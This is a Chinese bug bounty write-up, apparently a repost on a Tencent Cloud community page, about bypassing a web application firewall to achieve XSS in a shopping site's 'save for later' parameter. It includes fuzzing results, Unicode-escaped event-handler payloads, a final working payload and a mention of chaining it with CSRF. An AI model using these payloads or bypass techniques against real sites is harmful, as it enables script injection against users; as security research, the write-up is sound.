前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >BUG赏金 | Unicode与WAF—XSS WAF绕过

BUG赏金 | Unicode与WAF—XSS WAF绕过

作者头像
Timeline Sec
发布2019-12-23 11:22:14
1.8K0
发布2019-12-23 11:22:14
举报
文章被收录于专栏:Timeline SecTimeline Sec

图片来源于网络

通过标题,您可能会知道这是有关使用UNICODE进行 XSS WAF绕过的文章。因此,让我们给你一个关于我正在测试的应用程序的小想法。有一个名为“以后保存” 的选项,该选项将项目保存在您的帐户中以备后用。该请求看起来像:

如果用户进行了正确的身份验证,则此发布请求会将项目保存在用户帐户中,以供以后使用;如果用户未进行正确的身份验证,则该请求仅会返回一些值。因此,我在参数上进行黑盒测试,并注意到传递的参数值在响应主体中得到返回,而在经过身份验证和未经身份验证的场景中都没有适当的转义。我发送了一个如下的参数值:

xss \"><

返回的结果如下:

代码语言:javascript
复制
代码语言:javascript
复制
<a class="link nc-text-regular nc-blue js-movetocart" data-giftitemid="<ID>" data-skuid="<ID>" data-itemnumber="<ID>"
         data-productid="<ID>" data-channel="xss"><" data-quantity="1"
         data-isbundleitem="false" role="link" tabindex="0" aria-label="label">Move to cart</a>
代码语言:javascript
复制

我们输入的值在<a>标记内,由于引号和小于/大于-符号未正确过滤,因此我们可以跳出该值。因此,我认为我有很多方法可以在这里进行XSS,直到我输入 xss \” onclick = \“ alert(1)并且响应为:

因此,存在WAF。为了绕开它,我开始模糊测试,结果是:

代码语言:javascript
复制
代码语言:javascript
复制
xss \" onclick= \" alert(1)    ==> WAF
xss \" xss = \" alert(1)       ==> WAF
xss \" xss = \" xxx(1)         ==> 没有WAF
代码语言:javascript
复制

因此,我尝试创建一个标签,而不是在<a>标签中添加事件属性,然后输入xss \”> <xss> test,响应为:

代码语言:javascript
复制
代码语言:javascript
复制
<a class="link nc-text-regular nc-blue js-movetocart" data-giftitemid="<ID>" data-skuid ="<ID>" data-itemnumber ="<ID>"
          data-productid ="<ID>" data-channel =" xss">test" data-quantity =" 1"
          data-isbundleitem ="false" role ="link" tabindex ="0" aria-label="label">移至购物车</a>

因此,它还删除了看起来像tag的上下文。因此,我们没有创建标签的优势。因此,我们唯一的方法是绕过WAF 在<a>标记中使用事件属性。我尝试通过fuzzdb使用html-event-attributes.txt 进行暴力破解。以看看是否有事件没有被WAF阻止然而并没有什么有值得关注的。

然后我考虑了一下进行unicode编码,输入了一个随机的unicode看看它在响应中是否解码。值得庆幸的是它将unicode解码成它的原始的字符。所以现在我再次开始使用unicode + events的形式,结果是:

代码语言:javascript
复制
代码语言:javascript
复制
 xss \" \u003E\u003Cxss\u003Etest"             ==> xss"> <xss> test"
 xss \" xss = \"co\u006efirm(domain)"          ==> 没有WAF 
 xss \" onc\u006Cick = \"co\u006efirm(domain)" ==> HTTP / 1.1 403禁止
代码语言:javascript
复制

所以我们现在有了新的有利条件,同样也有了新的问题。

有利条件是我们现在可以使用unicode创建HTML标签。

问题是我们添加onc\u006Cick事件会收到一个新的错误 HTTP / 1.1 403 Forbidden。

因此,我再次通过html-event-attributes.txt + Unicode制作了一个单词表,并得到了onmous\u0045leave和ond\u0072ag事件返回了 HTTP / 1.1 200 OK。同样我们还可以创建HTML标签。所以我得到了最后的有效载荷:

代码语言:javascript
复制
xss\"\u003E\u003Ch1 onmous\u0045leave=co\u006efirm(domain)\u003Ecome to me\u003C/h1\u003E\u003Cbr\u003E\u003C!--

响应主体是:

代码语言:javascript
复制
代码语言:javascript
复制
<a class="link nc-text-regular nc-blue js-movetocart" data-giftitemid="<ID>" data-skuid="<ID>" data-itemnumber="<ID>"           
          data-productid="<ID>" data-channel="xss"> <h1 onmouseleave=confirm(domain)>come to me</h1> <br> <!--" data-quantity ="1" 
          data-isbundleitem ="false" role ="link" tabindex ="0" aria-label ="label">移至购物车</a>                     

将鼠标指针放在come to me上,然后移开:

现在,因为这是一个POST请求,并且没有CSRF保护,所以我将CSRF + XSS = P2的存储型XSS链接到已认证的用户:

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2019-12-13,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 Timeline Sec 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
多因子身份认证
多因子身份认证(Multi-factor Authentication Service,MFAS)的目的是建立一个多层次的防御体系,通过结合两种或三种认证因子(基于记忆的/基于持有物的/基于生物特征的认证因子)验证访问者的身份,使系统或资源更加安全。攻击者即使破解单一因子(如口令、人脸),应用的安全依然可以得到保障。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档